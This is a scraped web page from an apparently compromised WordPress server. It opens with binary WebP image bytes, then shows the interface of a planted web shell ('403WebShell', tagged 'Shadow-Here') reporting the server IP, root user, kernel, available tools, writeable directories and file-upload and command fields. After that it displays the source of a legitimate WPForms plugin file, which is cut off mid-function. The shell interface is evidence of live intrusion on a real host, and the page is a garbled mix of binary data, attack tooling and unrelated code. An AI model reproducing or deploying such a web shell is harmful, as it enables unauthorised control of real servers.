RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/emperor-24/wp-content/plugins/wpforms-lite/src/Admin/Forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/emperor-24/wp-content/plugins/wpforms-lite/src/Admin/Forms/Views.php
<?php

namespace WPForms\Admin\Forms;

use WP_Post;

/**
 * List table views.
 *
 * @since 1.7.3
 */
class Views {

	/**
	 * Current view slug.
	 *
	 * @since 1.7.3
	 *
	 * @var string
	 */
	private $current_view;

	/**
	 * Views settings.
	 *
	 * @since 1.7.3
	 *
	 * @var array
	 */
	private $views;

	/**
	 * Count forms in different views.
	 *
	 * @since 1.7.3
	 *
	 * @var array
	 */
	private $count;

	/**
	 * Base URL.
	 *
	 * @since 1.7.3
	 *
	 * @var string
	 */
	private $base_url;

	/**
	 * Show form templates.
	 *
	 * @since 1.8.8
	 *
	 * @var bool
	 */
	private $show_form_templates;

	/**
	 * Views configuration.
	 *
	 * @since 1.7.3
	 */
	private function configuration() {

		if ( ! empty( $this->views ) ) {
			return;
		}

		// Define views.
		$views = [
			'all'   => [
				'title'         => __( 'All', 'wpforms-lite' ),
				'get_var'       => '',
				'get_var_value' => '',
			],
			'trash' => [
				'title'         => __( 'Trash', 'wpforms-lite' ),
				'get_var'       => 'status',
				'get_var_value' => 'trash',
				'args'          => [
					'post_status' => 'trash',
				],
			],
		];

		$this->show_form_templates = wpforms()->get( 'forms_overview' )->overview_show_form_templates();

		// Add Forms and Templates views if Show Templates setting is enabled.
		if ( $this->show_form_templates ) {
			$views = wpforms_array_insert(
				$views,
				[
					'forms'     => [
						'title'         => __( 'Forms', 'wpforms-lite' ),
						'get_var'       => 'type',
						'get_var_value' => 'wpforms',
						'args'          => [
							'post_type' => 'wpforms',
						],
					],
					'templates' => [
						'title'         => __( 'Templates', 'wpforms-lite' ),
						'get_var'       => 'type',
						'get_var_value' => 'wpforms-template',
						'args'          => [
							'post_type' => 'wpforms-template',
						],
					],
				],
				'all'
			);
		}

		// phpcs:disable WPForms.Comments.ParamTagHooks.InvalidParamTagsQuantity

		/**
		 * Filters configuration of the Forms Overview table views.
		 *
		 * @since 1.7.3
		 *
		 * @param array $views {
		 *    Views array.
		 *
		 *    @param array $view {
		 *        Each view is the array with three elements:
		 *
		 *        @param string $title         View title.
		 *        @param string $get_var       URL query variable name.
		 *        @param string $get_var_value URL query variable value.
		 *        @param array $args           Additional arguments to be passed to `wpforms()->get( 'form' )->get()` method.
		 *    }
		 *    ...
		 * }
		 */
		$this->views = apply_filters( 'wpforms_admin_forms_views_configuration', $views );

		// phpcs:enable WPForms.Comments.ParamTagHooks.InvalidParamTagsQuantity
	}

	/**
	 * Determine if the class is allowed to load.
	 *
	 * @since 1.7.3
	 *
	 * @return bool
	 */
	private function allow_load(): bool {

		// Load only on the `All Forms` admin page.
		return wpforms_is_admin_page( 'overview' );
	}

	/**
	 * Initialize class.
	 *
	 * @since 1.7.3
	 */
	public function init() {

		if ( ! $this->allow_load() ) {
			return;
		}

		$this->configuration();
		$this->update_current_view();
		$this->update_base_url();
		$this->hooks();
	}

	/**
	 * Hooks.
	 *
	 * @since 1.7.3
	 */
	private function hooks() {

		add_filter( 'wpforms_overview_table_update_count', [ $this, 'update_count' ], 10, 2 );
		add_filter( 'wpforms_overview_table_update_count_all', [ $this, 'update_count' ], 10, 2 );
		add_filter( 'wpforms_overview_table_prepare_items_args', [ $this, 'prepare_items_args' ], 100 );
		add_filter( 'wpforms_overview_row_actions', [ $this, 'row_actions_all' ], 9, 2 );
		add_filter( 'wpforms_overview_row_actions', [ $this, 'row_actions_trash' ], PHP_INT_MAX, 2 );
		add_filter( 'wpforms_admin_forms_search_search_reset_block_message', [ $this, 'search_reset_message' ], 10, 4 );
	}

	/**
	 * Determine and save current view slug.
	 *
	 * @since 1.7.3
	 */
	private function update_current_view() {

		if ( ! is_array( $this->views ) ) {
			return;
		}

		$this->current_view = 'all';

		foreach ( $this->views as $slug => $view ) {

			if (
				// phpcs:disable WordPress.Security.NonceVerification.Recommended
				isset( $_GET[ $view['get_var'] ] ) &&
				$view['get_var_value'] === sanitize_key( $_GET[ $view['get_var'] ] )
				// phpcs:enable WordPress.Security.NonceVerification.Recommended
			) {
				$this->current_view = $slug;

				return;
			}
		}
	}

	/**
	 * Update Base URL.
	 *
	 * @since 1.7.3
	 */
	private function update_base_url() {

		if ( ! is_array( $this->views ) ) {
			return;
		}

		$get_vars = wp_list_pluck( $this->views, 'get_var' );
		$get_vars = array_merge(
			$get_vars,
			[
				'paged',
				'trashed',
				'restored',
				'deleted',
				'duplicated',
				'type',
			]
		);

		$this->base_url = remove_query_arg( $get_vars );
	}

	/**
	 * Get current view slug.
	 *
	 * @since 1.7.3
	 *
	 * @return string
	 */
	public function get_current_view(): string {

		return $this->current_view;
	}

	/**
	 * Get base URL.
	 *
	 * @since 1.7.5
	 *
	 * @return string
	 */
	public function get_base_url(): string {

		return $this->base_url;
	}

	/**
	 * Get view configuration by slug.
	 *
	 * @since 1.7.5
	 *
	 * @param string $slug View slug.
	 *
	 * @return array
	 */
	public function get_view_by_slug( string $slug ): array {

		return $this->views[ $slug ] ?? []; // phpcs:ignore WPForms.Formatting.EmptyLineBeforeReturn.RemoveEmptyLineBeforeReturnStatement
	}

	/**
	 * Update count.
	 *
	 * @since 1.7.3
	 *
	 * @param array $count Number of forms in different views.
	 * @param array $args  Get forms arguments.
	 *
	 * @return array
	 */
	public function update_count( $count, $args ) {

		$defaults = [
			'nopaging'               => true,
			'no_found_rows'          => true,
			'update_post_meta_cache' => false,
			'update_post_term_cache' => false,
			'fields'                 => 'ids',
			'post_status'            => 'publish',
			'post_type'              => wpforms()->get( 'form' )::POST_TYPES,
		];

		$args = array_merge( $args, $defaults );

		$count['all']   = $this->get_all_items_count( $args );
		$count['trash'] = $this->get_trashed_forms_count( $args );

		// Count forms and templates separately only if Show Templates screen setting is enabled.
		if ( $this->show_form_templates ) {
			$count['forms']     = $this->get_forms_count( $args );
			$count['templates'] = $this->get_form_templates_count( $args );
		}

		// Store in class property for further use.
		$this->count = $count;

		return $count;
	}

	/**
	 * Get count of all items.
	 *
	 * May include only forms or both forms and form templates, depending on the
	 * Screen Options settings whether to show form templates or not.
	 *
	 * @since 1.8.8
	 *
	 * @param array $args Get forms arguments.
	 *
	 * @return int Number of forms and templates.
	 */
	private function get_all_items_count( array $args ): int {

		if ( ! $this->show_form_templates ) {
			$args['post_type'] = 'wpforms';
		}

		$all_items = wpforms()->get( 'form' )->get( '', $args );

		return is_array( $all_items ) ? count( $all_items ) : 0;
	}

	/**
	 * Get count of forms.
	 *
	 * @since 1.8.8
	 *
	 * @param array $args Get forms arguments.
	 *
	 * @return int Number of published forms.
	 */
	private function get_forms_count( array $args ): int {

		$args['post_type'] = 'wpforms';

		$forms = wpforms()->get( 'form' )->get( '', $args );

		return is_array( $forms ) ? count( $forms ) : 0;
	}

	/**
	 * Get count of form templates.
	 *
	 * @since 1.8.8
	 *
	 * @param array $args Get forms arguments.
	 *
	 * @return int Number of published templates.
	 */
	private function get_form_templates_count( array $args ): int {

		$args['post_type'] = 'wpforms-template';

		$templates = wpforms()->get( 'form' )->get( '', $args );

		return is_array( $templates ) ? count( $templates ) : 0;
	}

	/**
	 * Get count of trashed items.
	 *
	 * May include only forms or both forms and form templates, depending on the
	 * Screen Options settings whether to show form templates or not.
	 *
	 * @since 1.8.8
	 *
	 * @param array $args Get forms arguments.
	 *
	 * @return int Number of trashed forms.
	 */
	private function get_trashed_forms_count( array $args ): int {

		if ( ! $this->show_form_templates ) {
			$args['post_type'] = 'wpforms';
		}

		$args['post_status'] = 'trash';

		$forms = wpforms()->get( 'form' )->get( '', $args );

		return is_array( $forms ) ? count( $forms ) : 0;
	}

	/**
	 * Get counts of forms in different views.
	 *
	 * @since 1.7.3
	 *
	 * @return array
	 */
	public function get_count(): array {

		return $this->count;
	}

	/**
	 * Prepare items arguments for list table.
	 *
	 * @since 1.8.8
	 *
	 * @param array $args Get multiple forms arguments.
	 *
	 * @return array
	 */
	public function prepare_items_args( $args ): array {

		$view_args = $this->views[ $this->current_view ]['args'] ?? [];

		if ( ! empty( $view_args ) ) {
			$args = array_merge( $args, $view_args );
		}

		return $args;
	}

	/**
	 * Get forms from Trash when preparing items for list table.
	 *
	 * @since 1.7.3
	 *
	 * @depecated 1.8.8 The `prepare_items_args()` now handles all cases, uses `$this->views`.
	 *
	 * @param array $args Get multiple forms arguments.
	 *
	 * @return array
	 */
	public function prepare_items_trash( $args ) {

		_deprecated_function( __METHOD__, '1.8.8 of the WPForms plugin' );

		return $args;
	}

	/**
	 * Generate views items.
	 *
	 * @since 1.7.3
	 *
	 * @return array
	 */
	public function get_views(): array {

		if ( ! is_array( $this->views ) ) {
			return [];
		}

		$views = [];

		foreach ( $this->views as $slug => $view ) {

			if (
				$slug === 'trash' &&
				$this->current_view !== 'trash' &&
				empty( $this->count[ $slug ] )
			) {
				continue;
			}

			$views[ $slug ] = $this->get_view_markup( $slug );
		}

		/**
		 * Filters the Forms Overview table views links.
		 *
		 * @since 1.7.3
		 *
		 * @param array $views Views links.
		 * @param array $count Count forms in different views.
		 */
		return apply_filters( 'wpforms_admin_forms_views_get_views', $views, $this->count );
	}

	/**
	 * Generate single view item.
	 *
	 * @since 1.7.3
	 *
	 * @param string $slug View slug.
	 *
	 * @return string
	 */
	private function get_view_markup( string $slug ): string {

		if ( empty( $this->views[ $slug ] ) ) {
			return '';
		}

		$view = $this->views[ $slug ];

		return sprintf(
			'<a href="%1$s"%2$s>%3$s&nbsp;<span class="count">(%4$d)</span></a>',
			$slug === 'all' ? esc_url( $this->base_url ) : esc_url( add_query_arg( $view['get_var'], $view['get_var_value'], $this->base_url ) ),
			$this->current_view === $slug ? ' class="current"' : '',
			esc_html( $view['title'] ),
			empty( $this->count[ $slug ] ) ? 0 : absint( $this->count[ $slug ] )
		);
	}

	/**
	 * Row actions for views "All", "Forms", "Templates".
	 *
	 * @since 1.7.3
	 *
	 * @param array   $row_actions Row actions.
	 * @param WP_Post $form        Form object.
	 *
	 * @return array
	 */
	public function row_actions_all( $row_actions, $form ) { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh

		// Modify row actions only for these views.
		$allowed_views = [ 'all', 'forms', 'templates' ];

		if ( ! in_array( $this->current_view, $allowed_views, true ) ) {
			return $row_actions;
		}

		$is_form_template = wpforms_is_form_template( $form );
		$row_actions      = [];

		// Edit.
		if ( wpforms_current_user_can( 'edit_form_single', $form->ID ) ) {
			$row_actions['edit'] = sprintf(
				'<a href="%s" title="%s">%s</a>',
				esc_url(
					add_query_arg(
						[
							'view'    => 'fields',
							'form_id' => $form->ID,
						],
						admin_url( 'admin.php?page=wpforms-builder' )
					)
				),
				$is_form_template ? esc_attr__( 'Edit this template', 'wpforms-lite' ) : esc_attr__( 'Edit this form', 'wpforms-lite' ),
				esc_html__( 'Edit', 'wpforms-lite' )
			);
		}

		// Entries.
		if ( wpforms_current_user_can( 'view_entries_form_single', $form->ID ) ) {
			$row_actions['entries'] = sprintf(
				'<a href="%s" title="%s">%s</a>',
				esc_url(
					add_query_arg(
						[
							'view'    => 'list',
							'form_id' => $form->ID,
						],
						admin_url( 'admin.php?page=wpforms-entries' )
					)
				),
				esc_attr__( 'View entries', 'wpforms-lite' ),
				esc_html__( 'Entries', 'wpforms-lite' )
			);
		}

		// Payments.
		if (
			wpforms_current_user_can( wpforms_get_capability_manage_options(), $form->ID ) &&
			wpforms()->get( 'payment' )->get_by( 'form_id', $form->ID )
		) {
			$row_actions['payments'] = sprintf(
				'<a href="%s" title="%s">%s</a>',
				esc_url(
					add_query_arg(
						[
							'page'    => 'wpforms-payments',
							'form_id' => $form->ID,
						],
						admin_url( 'admin.php' )
					)
				),
				esc_attr__( 'View payments', 'wpforms-lite' ),
				esc_html__( 'Payments', 'wpforms-lite' )
			);
		}

		// Preview.
		if ( wpforms_current_user_can( 'view_form_single', $form->ID ) ) {
			$row_actions['preview_'] = sprintf(
				'<a href="%s" title="%s" target="_blank" rel="noopener noreferrer">%s</a>',
				esc_url( wpforms_get_form_preview_url( $form->ID ) ),
				esc_attr__( 'View preview', 'wpforms-lite' ),
				esc_html__( 'Preview', 'wpforms-lite' )
			);
		}

		// Duplicate.
		if ( wpforms_current_user_can( 'create_forms' ) && wpforms_current_user_can( 'view_form_single', $form->ID ) ) {
			$row_actions['duplicate'] = sprintf(
				'<a href="%1$s" title="%2$s" data-type="%3$s">%4$s</a>',
				esc_url(
					wp_nonce_url(
						add_query_arg(
							[
								'action'  => 'duplicate',
								'form_id' => $form->ID,
							],
							$this->base_url
						),
						'wpforms_duplicate_form_nonce'
					)
				),
				$is_form_template ? esc_attr__( 'Duplicate this template', 'wpforms-lite' ) : esc_attr__( 'Duplicate this form', 'wpforms-lite' ),
				$is_form_template ? 'template' : 'form',
				esc_html__( 'Duplicate', 'wpforms-lite' )
			);
		}

		// Trash.
		if ( wpforms_current_user_can( 'delete_form_single', $form->ID ) ) {
			$query_arg = [
				'action'  => 'trash',
				'form_id' => $form->ID,
			];

			if ( $this->current_view !== 'all' ) {
				$query_arg['type'] = $this->current_view === 'templates' ? 'wpforms-template' : 'wpforms';
			}

			$row_actions['trash'] = sprintf(
				'<a href="%s" title="%s">%s</a>',
				esc_url(
					wp_nonce_url(
						add_query_arg( $query_arg, $this->base_url ),
						'wpforms_trash_form_nonce'
					)
				),
				$is_form_template ? esc_attr__( 'Move this form template to trash', 'wpforms-lite' ) : esc_attr__( 'Move this form to trash', 'wpforms-lite' ),
				esc_html__( 'Trash', 'wpforms-lite' )
			);
		}

		return $row_actions;
	}

	/**
	 * Row actions for view "Trash".
	 *
	 * @since 1.7.3
	 *
	 * @param array   $row_actions Row actions.
	 * @param WP_Post $form        Form object.
	 *
	 * @return array
	 */
	public function row_actions_trash( $row_actions, $form ) {

		if (
			$this->current_view !== 'trash' ||
			! wpforms_current_user_can( 'delete_form_single', $form->ID )
		) {
			return $row_actions;
		}

		$is_form_template = wpforms_is_form_template( $form );
		$row_actions      = [];

		// Restore form.
		$row_actions['restore'] = sprintf(
			'<a href="%s" title="%s">%s</a>',
			esc_url(
				wp_nonce_url(
					add_query_arg(
						[
